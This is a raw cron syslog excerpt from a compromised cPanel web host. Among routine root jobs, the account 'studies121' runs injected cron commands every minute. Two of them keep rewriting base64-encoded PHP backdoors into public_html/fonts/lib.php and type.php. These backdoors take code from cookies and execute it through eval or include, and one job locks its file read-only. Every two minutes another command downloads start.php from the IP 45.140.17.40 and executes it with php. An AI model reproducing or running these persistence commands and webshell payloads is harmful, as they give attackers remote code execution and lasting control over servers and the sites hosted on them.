Sep  5 21:15:01 ip-184-168-122-23 CROND[26670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:15:01 ip-184-168-122-23 CROND[26675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:15:01 ip-184-168-122-23 CROND[26674]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:16:01 ip-184-168-122-23 CROND[26783]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:16:01 ip-184-168-122-23 CROND[26784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:16:01 ip-184-168-122-23 CROND[26787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:16:01 ip-184-168-122-23 CROND[26785]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 21:16:01 ip-184-168-122-23 CROND[26786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:16:01 ip-184-168-122-23 CROND[26788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:17:01 ip-184-168-122-23 CROND[26880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:17:01 ip-184-168-122-23 CROND[26879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:17:01 ip-184-168-122-23 CROND[26881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:17:01 ip-184-168-122-23 CROND[26882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:18:01 ip-184-168-122-23 CROND[26972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:18:01 ip-184-168-122-23 CROND[26970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:18:01 ip-184-168-122-23 CROND[26971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:18:01 ip-184-168-122-23 CROND[26973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:18:01 ip-184-168-122-23 CROND[26975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:19:01 ip-184-168-122-23 CROND[27067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:19:01 ip-184-168-122-23 CROND[27066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:19:01 ip-184-168-122-23 CROND[27069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:19:01 ip-184-168-122-23 CROND[27068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:20:01 ip-184-168-122-23 CROND[27160]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 21:20:01 ip-184-168-122-23 CROND[27164]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:20:01 ip-184-168-122-23 CROND[27167]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 21:20:01 ip-184-168-122-23 CROND[27166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:20:01 ip-184-168-122-23 CROND[27163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:20:01 ip-184-168-122-23 CROND[27168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:20:01 ip-184-168-122-23 CROND[27169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:20:01 ip-184-168-122-23 CROND[27162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:20:01 ip-184-168-122-23 CROND[27165]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:21:01 ip-184-168-122-23 CROND[27366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:21:01 ip-184-168-122-23 CROND[27367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:21:01 ip-184-168-122-23 CROND[27368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:21:01 ip-184-168-122-23 CROND[27370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:22:01 ip-184-168-122-23 CROND[27700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:22:01 ip-184-168-122-23 CROND[27701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:22:01 ip-184-168-122-23 CROND[27702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:22:01 ip-184-168-122-23 CROND[27704]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:22:01 ip-184-168-122-23 CROND[27703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:23:01 ip-184-168-122-23 CROND[27786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:23:01 ip-184-168-122-23 CROND[27789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:23:01 ip-184-168-122-23 CROND[27787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:23:01 ip-184-168-122-23 CROND[27788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:24:01 ip-184-168-122-23 CROND[27869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:24:01 ip-184-168-122-23 CROND[27871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:24:01 ip-184-168-122-23 CROND[27870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:24:01 ip-184-168-122-23 CROND[27872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:24:01 ip-184-168-122-23 CROND[27874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:25:01 ip-184-168-122-23 CROND[28024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:25:01 ip-184-168-122-23 CROND[28026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:25:01 ip-184-168-122-23 CROND[28027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:25:01 ip-184-168-122-23 CROND[28028]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:25:01 ip-184-168-122-23 CROND[28029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:25:01 ip-184-168-122-23 CROND[28030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:26:01 ip-184-168-122-23 CROND[28109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:26:01 ip-184-168-122-23 CROND[28111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:26:01 ip-184-168-122-23 CROND[28110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:26:01 ip-184-168-122-23 CROND[28113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:26:01 ip-184-168-122-23 CROND[28115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:27:01 ip-184-168-122-23 CROND[28197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
